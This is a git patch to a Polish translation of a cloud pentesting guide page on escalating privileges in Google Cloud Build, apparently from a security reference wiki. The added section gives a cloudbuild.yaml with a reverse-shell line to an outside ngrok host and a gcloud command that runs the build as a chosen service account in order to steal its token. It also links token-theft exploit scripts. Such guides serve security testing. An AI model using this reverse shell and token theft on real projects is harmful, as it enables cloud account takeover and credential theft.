From 61d4d3fd530d0f99ee63f141a8a00bd3d751d509 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 14:46:12 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ --- .../gcp-cloudbuild-privesc.md | 26 ++++++++++++++----- 1 file changed, 19 insertions(+), 7 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md index e0914a9a4..bfbaf2ad5 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md @@ -12,18 +12,30 @@ Aby uzyskać więcej informacji o Cloud Build, sprawdź: ### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs` -Dzięki temu uprawnieniu możesz **złożyć budowę w chmurze**. Maszyna cloudbuild będzie miała w swoim systemie plików domyślnie **token konta usługi cloudbuild**: `@cloudbuild.gserviceaccount.com`. Możesz jednak **wskazać dowolne konto usługi w projekcie** w konfiguracji cloudbuild.\ +Dzięki temu uprawnieniu możesz **złożyć budowę w chmurze**. Maszyna cloudbuild będzie miała w swoim systemie plików **domyślnie token konta usługi cloudbuild**: `@cloudbuild.gserviceaccount.com`. Możesz jednak **wskazać dowolne konto usługi w projekcie** w konfiguracji cloudbuild.\ Dlatego możesz po prostu sprawić, aby maszyna wyeksportowała token na twój serwer lub **uzyskać powrotną powłokę wewnątrz niej i zdobyć token** (plik zawierający token może się zmieniać). -Możesz znaleźć oryginalny skrypt exploitujący [**tutaj na GitHubie**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (ale lokalizacja, z której pobiera token, nie działała dla mnie). Dlatego sprawdź skrypt do automatyzacji [**tworzenia, eksploatacji i czyszczenia podatnego środowiska tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) oraz skrypt w Pythonie do uzyskania powrotnej powłoki wewnątrz maszyny cloudbuild i [**kradzieży tokena tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (w kodzie znajdziesz, jak wskazać inne konta usługi)**.** +#### Bezpośrednia eksploatacja za pomocą gcloud CLI + +1- Utwórz `cloudbuild.yaml` i zmodyfikuj go danymi swojego nasłuchiwacza +```yaml +steps: +- name: bash +script: | +#!/usr/bin/env bash +bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 +options: +logging: CLOUD_LOGGING_ONLY +``` +2- Prześlij prostą kompilację bez źródła, plik yaml i określ SA do użycia w kompilacji: +```bash +gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com +``` +#### Używanie biblioteki python gcloud +Możesz znaleźć oryginalny skrypt exploitujący [**tutaj na GitHubie**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (ale lokalizacja, z której pobiera token, nie działała dla mnie). Dlatego sprawdź skrypt do automatyzacji [**tworzenia, eksploatacji i czyszczenia podatnego środowiska tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) oraz skrypt python do uzyskania odwrotnego powłoki wewnątrz maszyny cloudbuild i [**ukradnięcia go tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (w kodzie możesz znaleźć, jak określić inne konta serwisowe)**.** Aby uzyskać bardziej szczegółowe wyjaśnienie, odwiedź [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) -### `cloudbuild.builds.update` - -**Potencjalnie** dzięki temu uprawnieniu będziesz mógł **aktualizować budowę w chmurze i po prostu ukraść token konta usługi** tak, jak to zrobiono w przypadku poprzedniego uprawnienia (ale niestety w momencie pisania tego tekstu nie mogłem znaleźć żadnego sposobu na wywołanie tego API). - -TODO ### `cloudbuild.repositories.accessReadToken`